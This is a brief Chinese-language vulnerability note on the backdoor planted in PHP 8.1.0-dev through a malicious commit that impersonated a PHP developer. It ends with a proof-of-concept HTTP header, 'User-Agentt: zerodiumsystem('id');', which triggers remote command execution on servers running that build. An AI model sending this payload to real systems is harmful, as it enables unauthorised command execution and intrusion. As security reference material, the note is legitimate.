PHP zerodium后门漏洞

PHP开发工程师Jake Birchall在对其中一个恶意COMMIT的分析过程中发现，在代码中注入的后门是来自一个PHP代码被劫持的网站上，并且采用了远程代码执行的操作，并且攻击者盗用了PHP开发人员的名义来提交此COMMIT。

影响

PHP 8.1.0-dev

poc

后门为添加请求头

```
User-Agentt: zerodiumsystem('id');
```